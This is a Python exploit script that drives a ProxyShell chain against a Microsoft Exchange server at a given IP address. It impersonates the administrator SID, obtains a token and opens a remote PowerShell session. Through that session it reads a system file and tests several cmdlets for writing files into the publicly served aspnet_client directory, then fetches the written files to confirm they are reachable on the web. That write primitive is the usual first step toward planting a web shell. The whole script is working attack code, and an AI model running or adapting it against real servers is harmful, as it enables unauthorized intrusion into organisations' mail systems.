#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port)
        print("### CMD:", s)
        print("   OUT:", [str(x)[:220] for x in o])
        if e: print("   ERR:", [str(x)[:220] for x in e])
    except Exception as ex:
        print("### CMD:", s, "EXC:", str(ex)[:150])

# find OWA physical path + test file-writing cmdlets
run('Get-OwaVirtualDirectory | Select-Object Name,Path | Format-List')
run('Get-Content "C:\\Windows\\win.ini"')
run('New-Item -Path "C:\\inetpub\\wwwroot\\aspnet_client\\ni.txt" -ItemType File -Value "NiTest"')
run('Out-File -FilePath "C:\\inetpub\\wwwroot\\aspnet_client\\of.txt" -InputObject "OfTest"')
run('Export-TransportRuleCollection -FilePath "C:\\inetpub\\wwwroot\\aspnet_client\\trc.xml"')
run('New-ExchangeCertificate -GenerateRequest -RequestFile "C:\\inetpub\\wwwroot\\aspnet_client\\req.txt" -SubjectName "CN=test" -DomainName test.com -PrivateKeyExportable:$true')
run('Get-ChildItem "C:\\inetpub\\wwwroot\\aspnet_client\\" | Select-Object Name,Length | Format-Table')
for n in ("ni.txt","of.txt","trc.xml","req.txt"):
    try:
        r = requests.get(f"https://{ip}/aspnet_client/{n}", verify=False, timeout=12)
        print("FETCH", n, r.status_code, repr(r.content[:80]))
    except Exception as e:
        print("FETCH", n, "err", str(e)[:60])
